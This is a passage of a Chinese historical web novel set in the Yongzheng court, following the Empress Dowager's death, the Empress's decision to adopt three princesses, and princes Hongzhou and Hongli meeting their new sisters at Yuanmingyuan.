雍正收到了来自十四弟的请安折子,这折子中遣词造句有些不敬,叫雍正不悦之下直接革了十四的禄米。这本不是一件大事,毕竟等这位陛下气消了之后也就给他还回来了,况且十四爷也并不缺这点禄米,更多的是丢了面子。 但这话被添油加醋告到了太后那里去,当日雍正就被太后叫过去责骂了一顿。 即便已经身处最高位上,但额娘派人叫雍正还是不能不去。甚至不用专门叫,他每日都是要去慈宁宫请安的。而请安的时候被额娘责骂,他也只能听着。之前那样威胁太后,是因为他当时真的忙得没空搭理后宫,这才出此下策,而现在远没有到那个境地。 气得雍正回养心殿后,便立刻又写了折子去责骂十四。 而这话又传到了太后耳边,太后直接气病了。 太后病了,按照规矩后宫的妃嫔还有宫外的王爷福晋们都是要进宫来侍疾的。 四爷上位后,从前的德妃就成了太后,也就成了康熙孩子们的嫡母。在礼法上来说,康熙所有儿子的福晋都是该过来侍寝的。 但太后病了只想要清净,便不叫外命妇进宫,只是可劲儿折腾四爷后宫的妃子们。其中被折腾的最重的就是年贵妃,这位贵妃娘娘很是得宠,即便四爷没空来后宫,但给她的赏赐却是如流水一般进了翊坤宫。 当然,耿执羽还有熹妃以及皇后都被折腾了,甚至于后宫中如同小透明一般的懋嫔都没有逃脱,也被太后挑了一回刺。 甚至于弘昼还有弘历休沐的时候前去慈宁宫请安的时候,也被这位老太太阴阳了一通。好在太后并未直接刁难他们,只是说了两句难听的话就放他们走了。 这边太后在刁难雍正的妃子,那边雍正气得在养心殿中怒发冲冠。 他自然明白皇额娘刁难清凝她们是为何,不过是因为他革了十四的禄米罢了。可那都是因为十四先不敬的,皇额娘还是这样偏心。 现在皇额娘病了,让他甚至于去和皇额娘跟前讲道理的机会都没有。 难不成还能趁着现在去皇额娘跟前气她吗?若是这件事当真出了,那恐怕雍正第二日就要开始处理京中关于他不孝的流言了。 一月就这样过去了,弘昼和弘历又迎来了休沐,即便上个月去玛姆那里被阴阳了,但这个月还是得去。因为太医说了太后越发病重,他们于情于理都是要前去看顾的。 走在去慈宁宫的路上,弘昼和弘历都是如出一辙的沉默。 对于这位玛姆,弘昼和弘历都不算很熟悉。在他们随着汗阿玛搬进宫之前,也就在逢年过节的时候能见一下这位玛姆了。平日里虽说也在宫内念书,但玛姆素来只爱召见十四叔的孩子,召见他们的次数少之又少。 来到慈宁宫前,弘昼和弘历对视了一眼。 “我是真不想来,”弘昼小声嘀咕了一下,“上个月说是病了,但我见玛姆骂人的时候很是中气十足啊。” 之前太后还是德妃时,贤良温柔的名声是传遍了宫闱的。虽说弘昼没有感受过玛姆的温柔,但至少往日里瞧见也还算是个温和的人。不知是不是因为突然变成了宫里面说一不二的人,太后原先的温柔都不见了,说话总是夹枪带棒的,甚至大声责骂也屡见不鲜。 其中最倒霉的当属年贵妃了,太后见她必没好话。其次就是四爷了,这位每天都要来慈宁宫点卯的儿子也很久没见到自家额娘的好脸色了。 剩下的皇后齐妃熹妃等,受到的攻击就要小一点了。毕竟太后只是钦点了年贵妃每日都要前去侍疾,其余的妃嫔是轮流前来的。 弘历瞪了一眼弘昼:“也不看看这是什么地方,慎言。” 刚刚走过来这么长的一段路不说,非要在慈宁宫跟前说,要是被人听到了。怕是第二日就有御史要在前朝参弘昼一个忤逆不孝的罪名了,那可不是件小事。 “走吧。”弘昼抬脚准备往里走去。 在院中的时候,弘昼就看见了今日在太后跟前侍疾的妃嫔。一位依旧是年贵妃,另一位则是齐妃。 齐妃眼神冷淡地扫过弘昼还有弘历,收回目光后又看向了眼前的药炉子,她在太后跟前不算得脸,但太后也没有太过为难她,一般过来侍疾就是来看看药炉子。 年贵妃的脸色很是憔悴,脸色苍白,眼底泛着青黑,一看就是这些日子都没睡好。见弘昼还有弘历行礼,很是勉强地对着他们笑了笑:“进去吧,太后刚喝了药,心情不大好,你们小心些。” “多谢年额娘提点。”弘历脸上带着恭谨的笑,对着年贵妃答了一句后就带着弘昼进殿了。 弘昼进去行礼后窥见太后的脸色就吓了一跳,上个月见太后时,她虽然面带病容但整体还算精神,至少在阴阳骂人的时候是很精神的。但是现在看着,太后脸色很不好看,面色苍白,整体都没有精神,叫他们起来的时候声音疲软,一看就知道病得不轻。 不是小风寒吗?弘昼在心中惊讶,怎么看着倒像是生了大病。 弘历开口问候了几句,太后身边的嬷嬷一一答了,随后便说太后精力不济,让他们退下。 太后除了最开始叫起的时候出声了一次外,其余都由嬷嬷代为说话。 等出了慈宁宫后,弘昼才开口:“四哥,怎么瞧着玛姆这病得这样严重。” 上个月的时候看可没有这样严重,而且太后病了是因为和雍正斗气,气急攻心导致的。按理来说,心情好了之后应该身子自然就好了,难不成太后心中的气一直没有顺? “我亦不知。”弘历摇了摇头,“不过咱们额娘这些日子一直在玛姆的跟前侍疾,或许可以回去请安的时候问问。” 休沐的时候是要回额娘宫中请安的,若是太后没有病的话,弘昼和弘历现在应当已经到了各自额娘宫中了。 熹妃钮祜禄氏所住的景仁宫和裕嫔耿执羽所住的钟粹宫都在东六宫,兄弟俩是过了景和宫才分别的。 弘昼回到钟粹宫,耿执羽已经等了有一会儿了,见他回来便喜笑颜开的让宫女上茶点:“去给你玛姆请安了吗?” “去了,”弘昼端起蜜水喝了一口,让殿内伺候的人都退下后问道,“额娘,玛姆的身子……” “前些日子原还好好的,”耿执羽说起这个也是一脸的愁容,“但是这几日不知怎么就严重了,太医也说不出个一二三来。原先我去侍疾的时候,太后还有精力折腾年贵妃,但这几日我去侍疾,太后连说话的力气都没了,只怕是……” 雍正都已经四十七岁,太后更是前几年就已经过了耳顺之年了。这个年纪不论是放到哪里都能称得上是高寿了,不过是因着太后之前的身体一直很不错,才没人注意她的岁数,现在这一病不起便让人想到了这位的年纪也不小了。 “那太后有没有在侍疾的时候为难额娘?”弘昼的注意力并不在太后的身体上。 耿执羽轻笑了一声:“虽说难得太后的笑脸,但也不算为难了。真要说为难,还是年贵妃的处境更难些。” 弘昼又上上下下打量了一下自家额娘,见她面色红润脸上带笑,一看就知道过得不错才勉强放下心来。 说实话,弘昼对这位玛姆没什么感情,听见她病了也只是唏嘘了一下,其余就没什么感觉了。比起太后,他还是更为在意自家额娘有没有被为难。 在钟粹宫坐了一上午后,弘昼就回阿哥所了。现在额娘搬进宫来住了,平日里就会遣人给他送东西,甚至弘昼有时候会偷偷溜回去看额娘。 是以耿执羽倒是没有那么舍不得弘昼了,只是命人给他装了一盒子点心带着走。 太后的身体即便恶化了,但弘昼一直以为坏消息不会很快传来的。毕竟之前康熙还在的时候,传他病入膏肓的消息都不知道传了多少回了。 但令弘昼没想到的是,不过短短几日,太后便去了。 第96章 两宫并立 得到消息的时候,弘昼和弘历正在课堂上听着先生讲课。这位先生主要给弘历讲,毕竟四阿哥听得认真许多,若有疑惑立刻便会问出来,相较而言五阿哥听得就要随性许多了 先生最近在给他们讲史书,若有弘昼感兴趣的他便伸长了脖子听着先生讲课。可若是他不感兴趣的,便百无聊赖地拨弄着桌面上的东西。 一个小太监急急忙忙从外面奔了进来,先生面色有点不大好看,刚想出声斥责,就听见小太监声音颤颤巍巍说道:“太后,太后娘娘薨了。” 说话间,就听见外面有钟声传来。 先生脸色瞬间就变了,能被雍正指过来教他的两个孩子,自然也称得上是这位爷的心腹了。此时一听,便知道这件事意味着什么。 要知道圣祖爷驾崩还不足一年,太后和皇上的关系不好是朝野皆知的。这下太后薨了,皇上必然又要开始头疼一阵子了。 弘历和弘昼对视了一眼,神色皆变。 “先生,”还是弘历先起身,对着先生彬彬有礼道,“我们兄弟要先回去换衣裳,随后去慈宁宫瞧瞧。” 先生绷着脸点了点头:“去吧。” 和先生打过招呼后,弘历便拉着弘昼便开始往外走。 慈宁宫离阿哥所并不算远,但离毓庆宫可就远了,弘历便跟着弘昼去了他阿哥所的院子。两兄弟换上了一身素服,便急匆匆往慈宁宫而去。 还未进去,便听到了里面传来的震天的哭声。 来来往往的宫女太监极多,一个个都是脚步匆忙,手里端着些东西低眉敛目地走着。不曾有一个人敢抬头看一眼,生怕在这样的节骨眼上触怒了贵人们。 弘昼在人群中很快就找到了自家额娘和钮祜禄额娘,她们头上的钗环都换成了素净的银簪,身上穿着孝服正跪在太后的灵前。一人手上拿着一张帕子,呜呜咽咽地哭着。 但弘昼觉得,以自家额娘和这位太后的情谊,多半是帕子上摸了点什么东西才让额娘能哭出来的。 见弘昼进来后就开始到处盯着瞧,甚至发起呆来,弘历便扯了他一下,将他带到了灵前。 看到这个地方,弘昼觉得自己的膝盖已经开始疼了。他的辈分低,这样的场合少不了跪着,上次皇玛法葬礼的时候,他膝盖就不舒服了许久。 在灵前跪了一会儿,弘昼还看见了自家汗阿玛。 雍正的表情说不上是伤心还是不伤心,眼圈红了,表情有些怅然。他本以为自己和额娘之间的斗争还有许久,前几日额娘还在因为他革了胤祯禄米的事情同他吵架,他不悦极了。 那时候想着,日后额娘要因为十四同自己吵架的时候多了去了。他是绝不可能给十四同十三一个待遇的,能让十四安安心心待着守灵便是他这个亲兄长最后的仁慈了。 可这不过几日,怎么会去得这么急呢? 太后的葬礼很是隆重,即使生前的太后和雍正之间的母子关系也算不得多好。但在她逝去的一瞬间,雍正似乎忘掉了原本额娘的偏心和冷眼相待,只一心一意想要给额娘一个体面的葬礼。 葬礼结束后的三日,雍正下令将胤祯封为郡王,虽然仍旧让这位十四弟待在景陵给圣祖守灵,但到底爵位还是封到了多罗郡王。 接连丧父丧母对于雍正的打击还是有些大的,他从前以为自己对于阿玛还有额娘的感情都不深。汗阿玛幼时最为看重二哥,宠爱了二哥几十年,临了到了生命的末尾才勉强看重自己这个儿子。 而额娘就不必说了,他自知道自己额娘是德妃起,额娘就看重十四弟。有时候他甚至在想,是不是当父母的只能在乎一个孩子。 从前的怨怼不满,在他们过世的时候都一笔勾销了。 如果说太后的过世是让雍正五味杂陈的话,那对于后妃们来说是真的松了口气。 身为妃嫔每日里都要去给皇后以及太后请安,太后对她们一贯是没有什么好脸色的。特别是对皇后和年贵妃,太后对她们的态度更为恶劣些。 翊坤宫 年贵妃看着正在地毯上爬的福惠,脸上满是笑意,她坐在福惠的旁边和他玩了起来。 今年福惠刚开始学说话和走路,现在说话也就勉强能蹦出几个词来。走路更是只有扶着东西才能走稳,年贵妃怕孩子在学走路的时候摔了,便将这殿内都铺满了地毯,力求让福惠摔倒的时候一点不疼。 田嬷嬷看着这一幕脸上慈爱的笑意似乎要溢出来了,她在年贵妃幼时就在身边伺候。之前看着自己从小看到大的格格连丧数子,心疼的简直恨不得带她受过。现在瞧着这一幕,心中甜得仿佛吃了蜜糖一般。 有宫女从外面进来,低头说道:“娘娘,养心殿来人说皇上等会儿过来同您一起用晚膳。” 年贵妃抬头,脸上露出了惊喜之色。 太后过世后,皇上有一两个月没进过后宫了。年贵妃之前也命人送过羹汤去养心殿,可都没有请来皇上。 “皇上要过来用晚膳,”年贵妃摸着福惠的脑袋吩咐道,“快些去做了那道烧鹿筋来,皇上从前便最爱那道菜了。” 之所以说是从前而非现在,是因为自登基以来,雍正少入后宫。这几个月中,年贵妃也少于见到这位皇上。 “诶,奴婢这就去吩咐。”田嬷嬷笑着应下了,又说道,“娘娘要不要去给咱们六阿哥换个衣裳,前儿内务府不是刚送来一批蜀锦制成的婴孩衣裳,叫咱们六阿哥穿上了给皇上瞧瞧也不错。” “嬷嬷说得是,”年贵妃将福惠抱起,一边哄一边往后面走去,“咱们小阿哥走去换衣裳喽,你汗阿玛今儿要过来,咱们穿得好看些,叫你汗阿玛看看你又长大了。” 福惠被一把抱起来,一点也不怕,反而咯咯笑了起来:“汗阿玛,好看。” 下午的时*候,雍正就来到了翊坤宫。 他今日的心情还算不错,进翊坤宫的时候面上带着浅淡的笑意,望向年贵妃的视线也充满了柔情。 “臣妾给皇上请安。”年贵妃已经换了一身衣裳,身后的奶嬷嬷抱着福惠也跟着一起请安。 雍正伸手将年贵妃扶起,笑道:“怎么又清减了些。” “这夏日来了,便觉得胃口不佳。”年贵妃跟着雍正一边进殿一边说道,“不过往日里一直如此,待秋日便好些了。” “倒也不需待秋日了,”雍正说道,“等过些日子便收拾收拾去圆明园住着吧,正好避一避暑。” 夏日里的紫禁城实在是太炎热了,往年康熙都是搬到畅春园去住的。但雍正倒是不大喜欢那里,他更喜欢自己的园子,这圆明园是康熙四十八年时康熙赏给他的,是封亲王的贺礼,这些年他夏日总爱去住上一段日子。 “今年也去吗?”年贵妃眼里带了一点讶异,她以为今年不会挪动地方的。 雍正点了点头,从奶嬷嬷的怀中将福惠抱了过来:“若是太热了,大人还勉强能忍得,但这孩子可怎么忍得。” 福惠被从嬷嬷的怀中抱走一点也不怕生,拍着手就叫了起来:“汗阿玛,汗阿玛。” “竟已经会叫阿玛了。”雍正的眼睛微微睁大了点。 “一月前就能叫了,但那时宫里头都忙着,便没有惊动皇上。”年贵妃看着雍正抱着孩子笑道,“本来想着这几日便报与皇上的。” 进了殿内,雍正抱着孩子坐了下来。 福惠是个很乖巧的孩子,也不认生。即便对这个抱着自己的人没什么印象,但他还是很乖巧地被抱着自己玩手上的东西。 抱了一会后,雍正将孩子递给了奶嬷嬷,奶嬷嬷将孩子放在了旁边的地毯上让他自己玩着。 看着孩子自己玩了起来,雍正抿了一口茶说道:“今儿过来是为着你家抬旗的事情。” 年贵妃的眼睛亮了起来,她出身汉军镶白旗,这是下五旗。若是抬旗的话,就是抬到上三旗了。若是能抬进镶黄旗,那可真是件天大的喜事,要知道镶黄旗是皇帝亲自统领的,说不定日后她的侄子们能走御前侍卫这条大道呢。 “你哥哥在前朝也立了功,”雍正还在笑着说道,“我预备将你们家抬进镶黄旗。” 听到这话,年贵妃脸上的笑意都掩饰不住了:“臣妾多谢皇上。” 雍正的视线又看向了福惠:“这也是为着咱们福惠。” 年贵妃脸上感动的笑意更甚,同雍正讲起了这段日子福惠的趣事,听得雍正连连笑出声。 翊坤宫中一家三口的气氛极好,而皇后的永寿宫气氛就一般了。 乌拉那拉福晋被引着从殿外进来,看见皇后脸上就扬起了一抹欣喜的笑意:“臣妇见过皇后娘娘,娘娘万福金安。” “额娘何必行此大礼,”皇后连忙将乌拉那拉福晋扶了起来,“锦悦,快去看茶。” 温术和温岚在王府的时候就被皇后放出去嫁人了,现在她身边跟着的是前段时间从内务府挑的人,改了名叫锦悦锦鑫。 乌拉那拉福晋满脸笑意地被皇后引到了座位上,喝了一口茶后笑意更甚,关心了皇后几句后便示意殿内人太多了。 皇后的眼神一暗:“你们都下去吧。” 伺候的人鱼贯而出,乌拉那拉福晋见人都走了,便凑近了皇后些说道:“今儿臣妇前来所为何事,想来娘娘也知道。” “额娘,”皇后的眼神有点疲惫,“何必如何,阿玛前儿才被封了一等承恩公。咱们家已经够富贵了,何必如此行事。” 从雍正登基开始,皇后便收到家中的信儿。之前是催她生个孩子出来,如今倒是不催她生孩子了,要她从已经养大的阿哥中挑一个来记在她的名下。 皇上上位后,皇后的母家便成了热炕头,京中没有不来烧的。乌拉那拉福晋现在外出交际,听到的也全是阿谀奉承之词,她最近过得是极为春风得意。 “娘娘,”乌拉那拉福晋压低了声音说道,“说句不好听些的,倘若……” 说到这里的时候乌拉那拉福晋指了指天,才继续说道:“有个三长两短的,您想要两宫并立吗?若真有圣母皇太后,那您这母后皇太后的威严会被放在眼中吗,还是您愿意日后妾室同您平起平坐?” “额娘,”皇后的声音略重些说道,“今上才刚刚登基,说这些实在为时尚早。圣祖爷参与夺嫡的阿哥如今何等境遇,您和阿玛都看不到吗?” 第97章 养女 “你和他们又如何能一样,”乌拉那拉福晋骄傲道,“你可是皇后!圣祖爷的两位皇后逝世后宫里最高的也就皇贵妃了,宫中几十年来都没有过皇后了。” 皇后不明白,圣祖爷后宫几十年来没有皇后和自己是个皇后有什么关系。她自问和皇上之间的夫妻关系没有好到她掺和进夺嫡这样的事情都能视若无睹,更何况她原本就没有孩子。 况且家中最有能力的阿玛已经去了,打眼看家中的几位弟弟,可没有一个能挑起大梁的,就这点儿能力,还敢学别人掺和夺嫡? 不论谁上位她都会是母后皇太后,只要不是弘时上去,不论是和熹妃还是年贵妃或者裕嫔平起平坐她都不会在意。 难不成新帝敢薄待了她这个母后皇太后吗?只要面子上的功夫是一样的,其余的她并不在意。 “皇后又如何,”皇后冷笑了一声,“世祖的皇后后来还被废成静妃呢,那时候太皇太后尚且还在,世祖年纪尚幼都能说废了太皇太后母家的姑娘就废了,更何况我呢?” “额娘,咱们且打开天窗说亮话。我这个皇后只要安安稳稳在后宫坐着,好好管着后宫的事情,这个后位自然是能坐到我过世的。但若是不知进退去搅和那些事情,咱们大清朝可不是没有被废的皇后。” 乌拉那拉福晋失声道:“娘娘!您怎么能说这些呢?” 似乎是意识到了自己的失态,乌拉那拉福晋脸上调整了自己脸上带着怒意的神情,声音也压了下来缓声说道:“世祖的静妃被废那是因为她善妒奢侈,又有孝献皇后宠冠后宫。” “我若掺和进这桩事去,那我也可能善妒了。”皇后冷然道,“至于宠冠后宫的人,难不成如今后宫没有这么个人吗?” 乌拉那拉福晋短暂的失语了一下,年贵妃尚在潜邸的时候就得宠,如今成了贵妃后更是宠冠后宫。甚至于年家这口热灶去烧的人,比来烧他们乌拉那拉家的人还多些。 “可是……”乌拉那拉福晋还是不死心,“可这妃嫔生下孩子养在皇后膝下本就符合礼法。” “哪里的礼法?那是低位妃嫔孩子给高位妃嫔抚养的礼法,这后宫中有孩子的妃嫔有哪个是低位的。” “额娘若是无事,便早些回去休息吧。”皇后有些不想说话了,便下了逐客令,她是真的不明白从前还算聪颖睿智的额娘为何如今会提出这样的事情。今上的性子别人不知道,她这个枕边人还能不知吗? 她若是好好地当皇后,那不论是她还是乌拉那拉家都是无忧的,皇上会给她这个发妻留些脸面的。但若是掺和那些乱七八糟的事情,皇上想要落皇后的脸面,有的是法子。 “娘娘,”乌拉那拉福晋不愿离开,“可您真该考虑考虑了,如今您阿玛是追封了承恩公的爵位了,可家中的两个弟弟都还没有指望啊。” “若他们有才,皇上自然会启用。若他们无才,那乌拉那拉家中也不缺他们吃饭的银米。”说完这句话,皇后高声唤道,“锦悦,来送福晋。” 见伺候的宫女们都已经进来了,乌拉那拉福晋即便不愿意也只能将口中的话咽下。对着皇后行礼后,便跟着锦悦走了出去。 乌拉那拉福晋走后,皇后撑着自己的额头倚靠在了小几上,只觉得身心俱疲。 “娘娘,”桂嬷嬷进来就看到了这一幕,走到了皇后的身旁开始给她轻轻按摩,“难不成福晋又说了什么不得体的话吗?” 这位乌拉那拉福晋是续弦,皇后的亲生额娘在她三岁时便去世了,随后皇后阿玛便抬了这位福晋进门。从前还在家中的时候,皇后便知道额娘待她不过是个面子情,因为她是个女儿,日后是争不到家产的,所以面上待她宽和。 但到底不是亲生额娘,在她成为皇后之后,乌拉那拉福晋便立刻燃起了热情想要让她能生出个阿哥来。只要有了阿哥,日后最低也是个和硕亲王的爵位,甚至因为是嫡子说不定能肖想一下那个位置。 但皇后不愿意,前些年她便觉得自己花期已过,生孩子这样半只脚踏进鬼门关的事情她一点也不想做。更何况她对于乌拉那拉家现在又能有多少情谊呢?只要乌拉那拉家不遭难她便不会再多管,有本事叫皇上青眼就随意往上爬,若没有年羹尧的本事就老老实实呆着。 “她脑子里总是这些事,”皇后的声音疲惫,“真是不知道这一家子怎么就不愿意好好地过日子,偏偏要弄出这许多事出来。” “娘娘若不愿意见她,下回福晋递牌子进来想要请安的时候,便回绝了吧。”桂嬷嬷有点心疼地看着福晋。 她前几年糊涂了,听了福晋的话催着要主子最好能生孩子。可现在也渐渐转过弯来了,已经有三位阿哥长大了,而主子和皇上的岁数也并不年轻了。现在主子没有子嗣,那日后即便是三阿哥上位,又岂敢不尊重这位嫡母? 可若真有了个阿哥,那乌拉那拉家还有些旁的人必然会动些歪门邪道的心思。到时候主子即便不愿意卷入夺嫡,那也由不得她了。 “这两月间乌拉那拉家递来的牌子便不见了,”皇后也不想委屈自己,“且晾她们些日子。” 桂嬷嬷见皇后似乎恢复了些神采,才窥着她的脸色说道:“不过福晋倒是有一点没说错。” 皇后的眉头一皱。 “娘娘不想要在膝下养个阿哥,可以养个公主啊。”桂嬷嬷说道。 皇后蹙着眉:“嬷嬷你糊涂了,皇上哪来的公主。” 唯一长成的公主在前几年还是郡主的时候就去了,不过皇上对这个女儿感情是真不错。想到这里皇后的心里就是一堵,皇上上位后便将怀恪追封为了和硕公主,可她的弘晖也是养到八岁才没的,但却没有一个追封。 “娘娘糊涂了,”桂嬷嬷笑道,“您难不成忘了圣祖爷的养女纯禧公主?” 纯禧公主是康熙的弟弟恭亲王常宁的女儿,康熙早年间生下来的孩子尽皆养不活,便想先抱个女儿来养着。在这位公主进了宫后,生下来的儿女便能养活了,康熙便将这个女儿视之为福星,一直宠爱有加。 甚至于雍正这个弟弟对这个姐姐都很是不错,这才将纯禧公主从和硕公主加封为了固伦公主。 若是能养个女儿在膝下,疗慰寂寞也是不错的。这话让皇后陷入了深思,她想要抱养一两个养女在膝下这样的事情,算不得什么大事,在皇上面前提上一两句的话,多半也能得偿所愿。 只是这养女的人选,怕是要从各个王府中选出来了。 王府中的女儿若是能进宫做皇上的养女,那可能就从郡君郡主变成了公主,日后嫁去蒙古。不论是封爵还是俸禄,都提了不止一番。 这件事不论是对女孩本身还是对女孩的阿玛额娘都是一件好事。 “这件事请让我细想想。”皇后缓缓地说道,还需从长计议。 桂嬷嬷点到即止,她提这个提议也是想让自家娘娘可以养个女儿好让日子不那么寂寞,可若娘娘不愿的话也不会多说。 左思右想几日之后,皇后这日命下人们做了一桌子雍正爱吃的饭菜,便让锦悦前去养心殿请人。 苏培盛看到锦悦的时候很是惊讶,他自然是认得皇后娘娘跟前的大宫女的,还以为是后宫出了什么事。知道是皇后请皇上去用膳后,苏培盛心中就更惊讶了,真是难得了。 雍正也有些惊讶,但这是难得的皇后派人前来寻他,便打算去看一看。至于桌上的这堆折子,就等回来再看。 到了皇后的宫殿后,雍正用过膳后耐心地听着皇后的话,沉默片刻后点了点头说道:“朕膝下子嗣不丰,如今收两个养女在膝下也不错。既然皇后提了,那可是有了人选?” “并无,”皇后笑道,“臣妾不过是有了这一念头,具体的人选自然还是要由皇上来定夺。” 雍正的脸上掠过了一丝满意之色,思索了片刻说道:“十三弟府上的第四女听闻向来是个乖巧懂事的性子,便定了她吧。还有……理亲王府上挑个女孩儿出来吧,以及十六弟近来差事办得不错,也在他府上挑一个。” 皇后自然无不可,笑着点了点了头。她本来是只想养一个的,但多上两个也没什么,怡亲王的第四女似乎有八九岁了,那就从另外两家中挑个年纪小些的养着吧。 这件事雍正的效率很高,不出两日圣旨就从宫中传了出去。等弘昼和弘历知道自己多了三位姐妹的时候,这三位公主都已经被送进了皇后的宫中。 这三位公主刚进宫,雍正便带着后宫诸人一起搬到了圆明园。前朝的大臣们已经习惯了,先帝在时一年也有不少日子在畅春园住着。 弘昼还有弘历自然也跟着搬了过来,不过皇孙们就没有跟过来了。雍正预备着将他不喜欢的兄弟的子嗣打发回家,而与他关系还可的就继续待在上书房中。 圆明园要比紫禁城清爽许多,原本弘昼在紫禁城中就已经开始用冰了,但搬到圆明园来之后早晚感受不到一丝燥热。让原本因为夏日炎炎而情绪烦躁的弘昼恢复了平静,情绪稳定了不少,连早起去上课心情都好了不少。 “明儿就要去给皇额娘请安了,”弘昼偷偷往先生的方向看了一眼,“你准备见面礼没有?” 雍正收养了三个女儿,那这三位也就成了他们的姐妹。这第一次见面,是要给对方准备见面礼的。 第98章 姐妹 “备了,”弘历眼睛还盯着案几上的书看,漫不经心回道,“嬷嬷帮我准备的,虽说是姐妹了,但她们养在皇额娘身边轻易不能来阿哥所,平日里咱们也互相之间见不到,客客气气的就是了。” 在弘历看来,阿玛这回收养三个侄女,一来是为了以彰恩典,二来则是为日后公主抚蒙做准备。虽说宗室女不少,但阿玛并无亲女,收养了日后以公主之尊嫁出去倒也不错。 况且这三位姐妹的底细他已经知道得清楚明白了,除了四妹妹和惠是十三叔的女儿外,二姐姐是理亲王的女儿,今年已经十五了,眼看着收养了马上就要送去抚蒙了。另一个则是十六叔的女儿。她们三个在皇额娘心中是什么地位他不知,但四妹妹和惠必然能在阿玛那里得一个青眼的。 弘昼狐疑地看了一会弘历,撇了撇嘴:“四哥你越来越无趣了。” 听见这话,弘历无奈地抬头看向了弘昼:“不然呢,难不成你还想经常去皇额娘宫中找这三位姐妹吗?” 这三个公主送进宫就已经是懂事的年纪了,他们如今也不算小了,还能培养起什么别的感情吗? 他们住的地方严格说起来是会有朝臣来到的地方,而皇后妃嫔和公主们则住在圆明园靠里的位置,那里是不会有朝臣去的。 “别人也就算了,可是我们小时候见过和惠的呀。”弘昼说道,“咱们幼时去十三叔府上玩的时候,那时候和惠刚出生,还被弘暾偷偷抱出来给我们瞧。最后被婶母知道了,训了他一顿呢。” “原来是她。”弘历恍悟,他记得这件事,但没想到送进来的会是这个妹妹。 弘昼笑嘻嘻说道:“弘暾以前还和我们炫耀妹妹有多乖巧,这回妹妹成我们的了。” 弘历失笑:“你们俩是三岁的小孩子不成?怎么还在这些地方较劲。” “四哥你寒碜谁呢,”弘昼把脑袋一扬,“这是我们之间表达友爱的方式。” 弘昼和弘暾的关系一直不错,但小的时候还好,这长大了之后两人便有些偏向互怼了。在一起的时候不互相嘴贱几句心里就不舒服似的,弘暾早就羡慕弘昼有弘历这样一个同年龄几乎形影不离的哥哥了,而弘昼也羡慕过弘暾后面跟着一串的弟弟妹妹。 有次弘昼去怡亲王府的时候看见弘暾身后跟着那三四个弟弟,还有一个妹妹的时候羡慕极了,这简直就是孩子王。 弘历正准备回嘴,就见先生从外面走了回来,他便立刻恢复了认真看书的状态。 弘昼也看到先生了,顶着先生撇过来的眼神微微低头,也装得很是认真。 先生无奈叹了口气,只当作自己刚才什么都没看见。 不多时,便到了散学的时辰。来圆明园后弘昼还有弘历骑射的课程就暂时告一段落了,圆明园中并没有校场,况且这又是夏日,便让他们暂时练骑射了。 若是平常,下午的时候弘昼都是回自己住所先睡个午觉,然后根据情况来决定下午做什么的。但今日是他们每个月都要去给皇后请安的日子,所以回住所用了午膳后换了件衣裳便往九州清晏走去。 刚过了后海,便来到了皇后所住的地方,外头守着两三个小宫女,见他们来了便连忙往里头通报。 不一会,锦悦便笑意盈盈地从里头走了出来,对着他们行礼:“奴婢见过两位阿哥,娘娘有请。” 进了室内,便看见皇后端坐在上面,下面坐了三个姑娘。一个瞧着已经十五六岁了,另外的两个都是七八岁的模样。 皇后的脸上也带着笑意,身上穿了一身绛紫色的旗装,手里拿着一把绣着合欢花的团扇轻轻晃着。见他们行礼,挥了挥手说道:“快免礼,来见见你们淑慎姐姐,还有两位妹妹。” 淑慎是理亲王也就是废太子的女儿,她生得不巧,恰是废太子被废的那一年出生的。一出生就随着阿玛额娘被幽禁在咸安宫,虽说衣食不曾短缺,但却从不曾出来见过客,从小便长在压抑的环境中,是以为人很是小心谨慎,行事小心翼翼的。 见弘历和弘昼给她行礼,连忙站起来还礼,面庞红成了一片,声音细如蚊蝇:“四弟五弟多礼了,这是我亲手绣的,不值什么,你们拿着玩就是了。” 说罢,她身旁的宫女便拿出了两个荷包,递给了弘昼和弘历一人一个。 弘昼拿来看了看,自己这个上面绣的是青松,四哥上面绣的是竹子。都是岁寒三友,属于不错的寓意。 “那就多谢二姐姐了。”弘昼笑道,见淑慎似乎要将头埋到地下去,便连忙转移了话题,“这两位就是三妹妹和四妹妹了。” 见端柔还有和惠开始给弘昼弘历见礼,似乎没人关注自己这里,淑慎才略微松了口气。她从前一直跟着额娘住,见不到阿玛几面,额娘不大关注她,下人也不大上心,是以她很是不习惯这样人多的场合,总觉得人人都在看自己。 这三个姐妹中,弘昼还有弘历对和惠最熟悉,但那也是多年前的事情了。还未进宫念书之前,他们偶尔能去十三叔府中玩一会,那时候见过和惠。 但是显然和惠对此没有丝毫印象,她那时候还是在襁褓之中的小婴儿。 等互相见礼又送了见面礼后,弘昼和弘历便坐了下来。 “今儿也算你们兄弟姐妹头一回见面,”皇后笑道,“弘昼和弘历便留下来用过晚膳再走吧。” 这还是皇后第一次开口留他们用膳,弘昼和弘历对视了一眼,自然不能出声反驳。皇额娘待他们一向不错,这点小要求没必要专门去反驳。 见他们应了,皇后脸上的笑意更甚。她虽然不打算主动去皇上那里提收养一个阿哥在膝下,但不代表她不会和他们打好关系。 弘昼还有弘历这两个孩子不错,平日里略施手腕拉拢打点一下,互相间能过得去日后上位了自然也会尊敬她这个皇额娘。 和惠有些好奇地看了两眼弘昼还有弘历,她自然是对这两个之前的堂哥没什么印象,但是家中二哥三哥有时候会提起他们,这让她对此一点也不陌生。 端柔则观察着殿内所有人的表情,她的额娘是嫡福晋,在家中不论是额娘还是阿玛都很是宠爱她。这次她进宫额娘很是不舍,甚至动了让阿玛去回了皇阿玛的念头,可最后还是认了,毕竟不可能因为她一人让全家都被这位有些小心眼的新帝记恨上。 好在皇后娘娘似乎是个好相处的人,端柔缓慢地眨了一下眼睛思索道,四妹妹还看不出什么,但二姐姐瞧着是个很羞怯的人,也不难相处。 在皇后这里待到了用膳的时间,皇后宫中的厨子很不错,弘昼吃起来很是满意。等用过晚膳后,弘昼便和弘历一起踏上了回去的路。 弘历在宫中的住所是阿哥所,但是在圆明园他们俩就住在了一起,都住在天然图画。弘时因为带着福晋还有侍妾一起过来住,所以并不和他们俩住在一起,雍正另外指了一处给他住。 圆明园的景致很好,回去的时候弘昼饶有兴致地到处瞧着。他来圆明园不过两三日,还没有看够这些地方呢。 但还没过九州清晏殿,迎面就撞上了雍正。 汗阿玛?弘昼有点惊讶,这个时间汗阿玛一般不是在批折子就是在年贵妃的住处,怎么会在九州清晏附近。 “儿臣参见汗阿玛。”虽然心中惊讶,但行礼的动作一点也不慢。 雍正的后面跟着一长串的宫女太监,见弘昼和弘历过来也乌泱泱地行礼。 